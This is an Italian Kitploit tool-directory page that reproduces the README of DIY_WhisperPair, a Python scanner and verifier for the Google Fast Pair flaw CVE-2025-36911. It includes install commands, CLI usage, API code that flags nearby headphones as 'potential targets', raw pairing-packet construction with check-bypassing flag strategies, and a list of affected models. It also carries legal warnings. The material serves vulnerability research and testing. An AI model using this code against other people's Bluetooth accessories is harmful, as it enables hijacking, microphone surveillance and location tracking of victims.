Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DIY_WhisperPair — Dirottamento degli accessori Bluetooth tramite Google Fast Pair: WhisperPair CVE-2025-36911 Implementazione di riferimento e toolkit di verifica delle vulnerabilità | Kitploit
Strumenti/GitHubGitHub/spectrixdev/diy_whisperpair
Sicurezza BluetoothAnalisi delle VulnerabilitàExploitSicurezza WirelessPenetration TestingSicurezza Hardware e IoTPaper e RicercaApprendimento e Formazione
GitHubspectrixdev/diy_whisperpair

DIY_WhisperPair

Dirottamento degli accessori Bluetooth tramite Google Fast Pair: WhisperPair CVE-2025-36911 Implementazione di riferimento e toolkit di verifica delle vulnerabilità

Vedi Repository
103172 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

DIY-WhisperPair

Implementazione di riferimento di CVE-2025-36911 e toolkit per la verifica delle vulnerabilità

Research CVE Status

IMPLEMENTAZIONE UFFICIALE ORA DISPONIBILE, grazie al team della KU Leuven (Grazie per la menzione)

AVVISO LEGALE: Questo è uno strumento di ricerca sulla sicurezza. Leggi LEGAL.md prima dell'uso. L'accesso non autorizzato a sistemi informatici è un reato penale.


Dimostrazione WhisperPair

Cos'è WhisperPair?

Dirottamento degli accessori Bluetooth tramite Google Fast Pair.

WhisperPair (CVE-2025-36911) è una vulnerabilità critica che consente agli aggressori di associare forzatamente accessori audio di fascia alta senza il consenso dell'utente, spesso in meno di 10 secondi.

DIY-WhisperPair è un toolkit di ricerca che implementa questi attacchi per dimostrare tre rischi principali:

  • Dirottamento del dispositivo: Acquisizione del controllo dei flussi audio e del microfono aggirando i controlli della modalità di associazione.
  • Tracciamento della posizione: Registrazione dannosa dei dispositivi nella rete Find Hub di Google per pedinare le vittime.
  • Impatto tra ecosistemi: Sfruttamento degli accessori indipendentemente dallo smartphone associato (iOS o Android).

[!NOTE] Solo a scopo di ricerca: Questo toolkit contiene scanner e verificatori Proof-of-Concept. Non include strumenti per intercettazioni attive, tracciamento persistente della posizione o iniezione di payload dannosi. Il suo scopo è esclusivamente identificare i dispositivi vulnerabili.


Avvio rapido

root@kitploit:~
# Install
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .

# Run interactive CLI
whisperpair

Questo avvia un menu interattivo:

root@kitploit:~
╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩  ╚═╝╩╚═╩  ╩ ╩╩╩╚═

────────────── Main Menu ──────────────

  1  Scan      Discover Fast Pair devices nearby
  2  Verify    Test device vulnerability (requires authorization)
  3  Info      Get detailed device information
  4  About     Learn about CVE-2025-36911
  0  Exit      Quit the application

Select option [1]:

Per i ricercatori: API Python

Questa libreria è progettata per essere facilmente estendibile. Importa ciò che ti serve:

Funzioni semplici

root@kitploit:~
import asyncio
from whisperpair import scan_devices, verify_device, get_device_info

# Scan for Fast Pair devices
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
    print(f"{d.address} - {d.name} - Risk: {'HIGH' if not d.is_in_pairing_mode else 'Low'}")

# Find only vulnerable devices (not in pairing mode)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))

# Verify a specific device (REQUIRES AUTHORIZATION)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
    print(f"VULNERABLE - Provider: {result.provider_address}")

# Get device info
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"Model: {info['model_name']}")

Creazione di strumenti personalizzati

root@kitploit:~
from whisperpair import (
    # Scanner
    FastPairScanner,
    FastPairDevice,
    
    # Client  
    FastPairClient,
    VerificationResult,
    
    # Protocol
    KeyBasedPairingRequest,
    KeyBasedPairingResponse,
    PairingRequestFlags,
    parse_bluetooth_address,
    parse_kbp_response_multi_strategy,
    
    # Crypto
    FastPairCrypto,
    aes_128_encrypt,
    aes_128_decrypt,
    generate_account_key,
    
    # Constants
    FAST_PAIR_SERVICE_UUID,
    KEY_BASED_PAIRING_CHAR_UUID,
    KNOWN_MODEL_IDS,
)

# Custom scanner with callbacks
def on_found(device: FastPairDevice):
    if not device.is_in_pairing_mode:
        print(f"[!] Potential target: {device.address}")

scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())

# Build raw protocol packets (flags 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build()  # 16-byte plaintext

# Multiple verification strategies available:
# - strategy_raw_kbp()      - flags 0x11, works on most vulnerable devices
# - strategy_with_seeker()  - flags 0x02, includes seeker address
# - strategy_retroactive()  - flags 0x0A, bypasses some checks
# - strategy_extended()     - flags 0x10, for newer devices

# Full custom flow (AES key optional - response detection alone indicates vulnerability)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
    model_id = await client.read_model_id()
    result = await client.verify_pairing_behavior()  # No key needed for detection
    if result.response_received:
        print("VULNERABLE - device responded when it shouldn't")

Script di esempio

Consulta examples.py per esempi pronti da copiare e incollare:

root@kitploit:~
python examples.py scan              # Basic scanning
python examples.py vulnerable        # Find vulnerable devices
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom            # Scanner with callbacks

Comandi CLI

Modalità interattiva (predefinita)

root@kitploit:~
whisperpair

Comandi diretti

root@kitploit:~
# Scan for devices
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15

# Get device info
whisperpair info AA:BB:CC:DD:EE:FF

# Verify vulnerability (requires flags)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized

# Learn about the vulnerability
whisperpair about

Requisiti legali

Devi avere l'autorizzazione

Questo strumento esegue operazioni Bluetooth attive. Prima di eseguire qualsiasi comando di verifica, devi avere:

  1. Autorizzazione scritta del proprietario del dispositivo, OPPURE
  2. Possedere il dispositivo tu stesso

Leggi specifiche per giurisdizione

Consulta LEGAL.md per una guida dettagliata.


La vulnerabilità (CVE-2025-36911)

Il difetto

Google Fast Pair richiede che i dispositivi accettino le richieste di associazione solo quando sono in modalità di associazione. Molti dispositivi non superano questo controllo:

root@kitploit:~
EXPECTED: Device checks "Am I in pairing mode?" → NO → Reject
ACTUAL:   Device accepts request regardless of mode state

Come funziona il rilevamento

La vulnerabilità viene rilevata verificando se un dispositivo risponde in qualsiasi modo a una richiesta Key-Based Pairing quando non è in modalità di associazione:

root@kitploit:~
graph TD
    subgraph Packet["Key-Based Pairing Request (16 bytes)"]
      direction LR
      B0["0x00"]
      B1["0x11"]
      MAC["MAC: 6 bytes"]
      Salt["Salt: 8 bytes"]
    end

    B0:::byte -- "Message Type" --> Desc0["Key-Based Pairing Request"]
    B1:::byte -- "Flags" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]

    classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;

Rilevamento: risposta ricevuta = VULNERABILE (non serve alcuna chiave AES!)

Impatto

Un aggressore nel raggio Bluetooth (~10-14 m) può:

  • Riprodurre audio nelle cuffie della vittima
  • Accedere al microfono per la sorveglianza
  • Tracciare la posizione tramite Google Find Hub

Dispositivi interessati (pre-patch)

ProduttoreDispositivi
Google

Struttura del progetto

root@kitploit:~
DIY_WhisperPair/
├── src/whisperpair/
│   ├── __init__.py      # Public API exports
│   ├── scanner.py       # BLE device discovery
│   ├── client.py        # GATT client & verification
│   ├── protocol.py      # Packet builders
│   ├── crypto.py        # AES-128, ECDH, keys
│   ├── constants.py     # UUIDs, Model IDs
│   └── cli.py           # Interactive CLI
├── examples.py          # Copy-paste code snippets
├── security_demo.py     # Standalone verification demo
├── LEGAL.md
└── README.md

Installazione

root@kitploit:~
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
pip install -e .

Requisiti

  • Python 3.10+
  • Adattatore Bluetooth con supporto BLE
  • Linux: BlueZ 5.50+
  • Windows: Windows 10 1703+
  • macOS: macOS 10.13+

Riferimenti

Ricerca originale

  • Sito web: whisperpair.eu
  • CVE: CVE-2025-36911
  • Articolo: "WhisperPair: Hijacking Bluetooth Accessories Using Google Fast Pair"
  • Autori: KU Leuven DistriNet (Duttagupta, Antonijević, Preneel, Wyns, Singelée)

Documentazione tecnica

  • Google Fast Pair Spec
  • Key-based Pairing Protocol

Video

Un tocco per dirottarli tutti


Uso responsabile

Questo strumento è fornito esclusivamente per:

  • Ricerca sulla sicurezza e verifica delle vulnerabilità
  • Test di penetrazione autorizzati
  • Validazione da parte dei produttori di dispositivi
  • Scopi educativi

NON per: Accesso non autorizzato, molestie, sorveglianza o qualsiasi attività illegale.


Licenza

Licenza MIT - Consulta LICENSE


Riconoscimenti

  • SpectrixDev - Manutentore del progetto
  • KU Leuven DistriNet - Ricerca originale
  • Google Android Security Team - Divulgazione coordinata
  • Seytonic - Video esplicativo eccellente
Scarica lo strumento
GiurisdizioneLegge pertinente
Regno UnitoComputer Misuse Act 1990, Section 1-3A
Stati UnitiComputer Fraud and Abuse Act (CFAA)
UEDirective 2013/40/EU
Germania§ 202a-c StGB
AustraliaCriminal Code Act 1995, Part 10.7
Pixel Buds Pro 2
SonyWF-1000XM4, WH-1000XM5, LinkBuds S
JBLTune Buds, Live Pro 2
AnkerSoundcore Liberty 4
AltriConsulta whisperpair.eu